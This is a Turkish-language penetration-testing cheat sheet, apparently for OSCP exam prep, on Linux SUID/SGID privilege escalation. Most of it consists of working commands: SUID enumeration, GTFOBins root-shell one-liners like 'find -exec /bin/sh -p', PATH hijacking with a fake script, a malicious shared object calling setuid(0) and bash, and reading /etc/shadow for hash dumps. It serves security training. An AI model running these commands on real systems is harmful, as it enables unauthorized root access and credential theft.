FOOTHOLD Metodoloji Cheat-sheet
PrivEsc ✓ EXAM-SAFE orta

SUID/SGID İstismarı — Discovery, GTFOBins, Shared-Object Injection

SUID/SGID bit'i set edilmiş binary'leri bul ve istismar et: GTFOBins ile setuid abuse, eksik kütüphane için shared-object injection, ve custom binary'lerde PATH/komut hijacking yoluyla root kazanımı.

Bilgi: ÖN KOŞULLAR
  • Hedefte düşük yetkili kullanıcı shell'i (www-data/user)
  • find ve gcc/strings/ltrace gibi temel araçlar
┌──

Komutlar

find ✓ EXAM-SAFE user
find / -perm -4000 -type f 2>/dev/null
SUID bit'i set edilmiş tüm dosyaları listele (en yaygın discovery komutu). HackTricks — Linux Privilege Escalation (SUID)
find ✓ EXAM-SAFE user
find / -perm -u=s -type f 2>/dev/null
SUID dosyalarını sembolik mod ile bul (alternatif yazım). GTFOBins methodology / HackTricks — Linux Privilege Escalation
find ✓ EXAM-SAFE user
find / \( -perm -4000 -o -perm -2000 \) -type f 2>/dev/null
SUID ve SGID dosyalarını tek seferde listele. HackTricks — Linux Privilege Escalation (SUID/SGID)
find ✓ EXAM-SAFE user
find / -perm -2000 -type f 2>/dev/null
SGID (set-group-ID) binary'lerini bul. HackTricks — Linux Privilege Escalation (SGID)
find ✓ EXAM-SAFE user
find / -perm -4000 -type f -exec ls -la {} \; 2>/dev/null
SUID dosyalarını sahip/izin detaylarıyla listele (custom binary tespiti için). TJnull PWK guide — Linux PrivEsc
bash ✓ EXAM-SAFE user
/usr/bin/find . -exec /bin/sh -p \; -quit
SUID find istismarı — -p ile effective UID korunur, root shell açılır (GTFOBins). GTFOBins: find (SUID)
bash ✓ EXAM-SAFE user
cp=$(command -v cp); $cp --no-preserve=mode,ownership /tmp/rootbash /tmp/x 2>/dev/null; bash -p
SUID bash kopyası mevcutsa -p flag'i ile effective UID düşürülmeden root shell (bash drops privs by default). GTFOBins: bash (SUID)
bash ✓ EXAM-SAFE user
./suid_binary
Custom SUID binary'yi çalıştırıp davranışını gözlemle (önce strings/ltrace ile analiz et). TJnull PWK guide — SUID Binaries
strings ✓ EXAM-SAFE user
strings /path/to/suid_binary
Custom SUID binary içindeki sabit string'leri, çağrılan komutları ve relative path'leri çıkar. HackTricks — Linux Privilege Escalation (SUID custom binaries)
ltrace ✓ EXAM-SAFE user
ltrace /path/to/suid_binary 2>&1
SUID binary'nin library call'larını izle: system()/execvp() ile çağrılan komutları ve PATH bağımlılığını gör. HackTricks — Linux Privilege Escalation (ltrace custom SUID)
bash ✓ EXAM-SAFE user
echo '#!/bin/bash\nbash -p' > /tmp/service; chmod +x /tmp/service; export PATH=/tmp:$PATH; /path/to/suid_binary
Custom SUID binary tam path olmadan komut çağırıyorsa (örn. 'service'), PATH hijacking ile sahte binary'yi çalıştır. HackTricks — Linux Privilege Escalation (SUID PATH hijacking)
ldd ✓ EXAM-SAFE user
ldd /path/to/suid_binary
SUID binary'nin linkli paylaşılan kütüphanelerini listele; eksik/yazılabilir .so dosyasını shared-object injection için tespit et. HackTricks — Linux Privilege Escalation (Shared Object Injection)
gcc ✓ EXAM-SAFE user
gcc -shared -fPIC -o /tmp/libcustom.so /tmp/inject.c
Yazılabilir/eksik .so için kötü amaçlı shared object derle (constructor içinde setuid(0);system("/bin/bash")). HackTricks — Linux Privilege Escalation (Shared Object Injection)
strace ✓ EXAM-SAFE user
strace -f -e trace=open,openat,access /path/to/suid_binary 2>&1 | grep -iE 'ENOENT|\.so'
SUID binary'nin yüklemeye çalışıp bulamadığı (ENOENT) .so dosyalarını yakala — shared-object injection hedefi. HackTricks — Linux Privilege Escalation (Shared Object Injection / strace)

Genel Bakış

SUID (Set-User-ID) ve SGID (Set-Group-ID) bit’i, bir binary’nin kendisini sahibinin (genelde root) effective UID’i ile çalıştırmasını sağlar. Yanlış yapılandırılmış veya istismar edilebilir bir SUID binary, düşük yetkili kullanıcıdan root’a en sık kullanılan privesc vektörlerinden biridir. Üç ana senaryo vardır: bilinen GTFOBins binary’leri, eksik/yazılabilir shared object (.so) injection ve custom (geliştirici eliyle yazılmış) binary istismarı.

Enumeration

İlk adım her zaman find / -perm -4000 -type f 2>/dev/null ile SUID listesini çıkarmaktır. Çıktıyı /usr/bin, /bin, /sbin altındaki standart binary’lerle karşılaştır; standart dışı (/opt, kullanıcı home dizini, alışılmadık isimler) olanlar genelde kasıtlı yerleştirilmiş zafiyetlerdir.

  • Standart SUID baseline: ping, mount, su, passwd, sudo, pkexec vb. Bunlar normaldir ama versiyon bazlı CVE içerebilir (örn. pkexec → CVE-2021-4034, sudo → CVE-2021-3156).
  • Custom binary bulduysan strings ve ltrace ile içini analiz et: system("id") gibi relative çağrılar PATH hijacking’e, execve tam-path çağrıları ise farklı vektörlere işaret eder.

Exploitation — GTFOBins

Bulunan binary’yi GTFOBins üzerinde ara. Çoğu binary için -p (preserve privileges) flag’i kritiktir çünkü bash/sh varsayılan olarak effective UID’i düşürür. find ... -exec /bin/sh -p \; klasik bir örnektir. nmap (eski interactive mode), vim, less, awk, cp, nano gibi onlarca binary listede mevcuttur.

Exploitation — Shared Object Injection

ldd veya strace -e openat ile binary’nin yüklemeye çalıştığı ama bulamadığı (ENOENT) ya da yazılabilir bir dizinde duran .so dosyasını tespit et. Constructor fonksiyonu içinde setuid(0); setgid(0); system("/bin/bash -p") içeren bir C dosyasını gcc -shared -fPIC ile derle, beklenen path’e yerleştir ve binary’yi çalıştır.

Exploitation — Custom Binary & PATH Hijacking

Custom binary system("service ...") gibi tam path olmadan bir komut çağırıyorsa, kendi PATH’inin başına yazılabilir bir dizin (örn. /tmp) ekleyip aynı isimde bash -p çalıştıran sahte bir script koy. SUID context’i korunur ve root shell açılır.

Notlar / Gotchas

  • Effective UID korunsa bile bash < 4.4 ve modern sh privilege drop yapar; mutlaka -p kullan.
  • find -perm -4000 çıktısını LinPEAS/linux-smart-enumeration otomatik tarar ama OSCP sınavında manuel doğrulama beklenir.
  • SGID binary’ler bazen shadow grubu üzerinden /etc/shadow okuma yetkisi verir — root olmasa da hash dump’a giden bir yoldur.
  • Custom binary’yi sınav makinende gdb/ltrace yoksa hedeften kendi Kali’ne transfer edip analiz et.
┌──

Kaynaklar

0/15 set